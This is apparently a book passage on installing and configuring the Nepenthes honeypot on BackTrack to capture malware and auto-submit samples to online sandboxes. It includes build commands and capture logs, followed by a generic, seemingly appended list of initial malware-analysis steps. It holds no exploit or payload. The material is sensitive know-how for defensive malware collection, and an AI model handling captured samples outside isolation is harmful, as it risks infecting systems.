You may download the latest Nepenthes software from http://nepenthes.mwcollect.org. The Nepenthes software
requires the adns package, which can be found at www.chiark.greenend.org.uk/~ian/adns/.

To install Nepenthes on BackTrack, download those two packages and follow these steps:

Note

As of the writing of this chapter, Nepenthes 0.2.0 and adns 1.2 are the latest
versions.

BT sda1 # tar -xf adns.tar.gz

BT sda1 # cd adns-1.2/
BT adns-1.2 # ./configure
BT adns-1.2 # make
BT adns-1.2 # make install
BT adns-1.2 # cd ..
BT sda1 # tar -xf nepenthes-0.2.0.tar.gz
BT sda1 # cd nepenthes-0.2.0/
BT nepenthes-0.2.0 # ./configure
BT nepenthes-0.2.0 # make
BT nepenthes-0.2.0 # make install

Note

If you would like more detailed information about the incoming exploits and
Nepenthes modules, turn on debugging mode by changing Nepenthes’s
configuration as follows: ./configure –enable-debug-logging

Now that you have Nepenthes installed, you may tweak it by editing the nepenthes.conf file.

BT nepenthes-0.2.0 # vi /opt/nepenthes/etc/nepenthes/nepenthes.conf

Make the following changes: uncomment the submit-norman plug-in. This plug-in will e-mail any captured
samples to the Norman Sandbox and the Nepenthes Sandbox (explained later).

// submission handler
"submitfile.so", "submit-file.conf", "" // save to disk
"submitnorman.so", "submit-norman.conf", ""
// "submitnepenthes.so", "submit-nepenthes.conf", "" // send to download-
nepenthes

Now you need to add your e-mail address to the submit-norman.conf file:

BT nepenthes-0.2.0 # vi /opt/nepenthes/etc/nepenthes/submit-norman.conf

as follows:

submit-norman
{
 // this is the address where norman sandbox reports will be sent
email "[email protected]";
urls ("http://sandbox.norman.no/live_4.html",
"http://luigi.informatik.uni-mannheim.de/submit.php?action= verify" );
};

Finally, you may start Nepenthes.

BT nepenthes-0.2.0 # cd /opt/nepenthes/bin
BT nepenthes-0.2.0 # ./nepenthes
...ASCII art truncated for brevity...
Nepenthes Version 0.2.0
Compiled on Linux/x86 at Dec 28 2006 19:57:35 with g++ 3.4.6
Started on BT running Linux/i686 release 2.6.18-rc5

[ info mgr ] Loaded Nepenthes Configuration from

/opt/nepenthes/etc/nepenthes/nepenthes.conf".
[ debug info fixme ] Submitting via http post to
http://sandbox.norman.no/live_4.html
[ info sc module ] Loading signatures from file
var/cache/nepenthes/signatures/shellcode-signatures.sc
[ crit mgr ] Compiled without support for capabilities, no way to run
capabilities

As you can see by the slick ASCII art, Nepenthes is open and waiting for malware. Now you wait. Depending on
the openness of your ISP, this waiting period might take minutes to weeks. On my system, after a couple of days,
I got this output from Nepenthes:

[ info mgr submit ] File 7e3b35c870d3bf23a395d72055bbba0f has type MS-DOS

executable PE for MS Windows (GUI) Intel 80386 32-bit, UPX compressed
[ info fixme ] Submitted file 7e3b35c870d3bf23a395d72055bbba0f to sandbox
http://luigi.informatik.uni-mannheim.de/submit.php?action=verify
[ info fixme ] Submitted file 7e3b35c870d3bf23a395d72055bbba0f to sandbox
http://sandbox.norman.no/live_4.html

Initial Analysis of Malware:

The initial analysis of malware is a crucial step in understanding the nature and potential impact of a malicious
software sample. During this stage, cybersecurity researchers aim to gather essential information without
 executing the malware on a production system. Here are the key steps involved in the initial analysis of malware:

1. Sample Collection and Verification: Obtain the malware sample from a trusted source or a controlled
environment. Ensure the integrity of the file through cryptographic hash verification (e.g., MD5, SHA-256).
2. Isolation and Sandboxing: Execute the malware in an isolated environment or sandbox. Sandboxing provides a
controlled space where the malware's behavior can be observed without affecting the underlying system.
3. Static Analysis: Examine the malware's code and structure without running it. Disassemble or decompile the
binary to analyze its assembly or high-level language representation. Static analysis provides insights into the
malware's functionality, encryption techniques, and possible attack vectors.
4. Dynamic Analysis: Execute the malware in a controlled environment to observe its behavior. Monitor system
changes, network communications, and file activity during runtime. Dynamic analysis helps identify the
malware's actions, such as file drops, registry modifications, network connections, and attempts to evade
detection.
5. Behavioral Indicators: Record the malware's behavior and look for behavioral indicators such as persistence
mechanisms, attempts to disable security tools, or communication with known malicious IP addresses.
6. Network Traffic Analysis: Capture and inspect network traffic generated by the malware. Identify the
communication protocol used, the command-and-control (C2) infrastructure, and any data exfiltration attempts.
7. Artifact Extraction: Extract any embedded files, configuration data, or payloads embedded within the malware
for further analysis.
8. Identify Known Indicators: Check the malware against known indicators of compromise (IOCs) and malware
signature databases to determine if the sample matches any known threats.
9. Static Detection: Use antivirus scanners and other static analysis tools to identify known signatures and patterns
in the malware.
10. Threat Intelligence Feeds: Cross-reference the malware against threat intelligence feeds to gain insights into its
characteristics, possible origin, and associations with threat actors or campaigns.
11. Metadata Analysis: Check metadata and embedded information within the malware file for clues about the
origin, author, or other identifying details.
12. Preliminary Classification: Based on the observed behavior and characteristics, classify the malware as a
specific type (e.g., ransomware, trojan, worm) to understand its intended purpose.
13. Report Generation: Document the findings in a comprehensive report that includes all observed behaviors,
indicators, and initial analysis results. The report can be shared with relevant stakeholders for further action.

The initial analysis of malware serves as the foundation for further in-depth analysis, reverse engineering, and the
development of mitigation strategies. It helps cybersecurity professionals understand the threat posed by the
malware and aids in formulating an effective response to protect systems and networks from similar attacks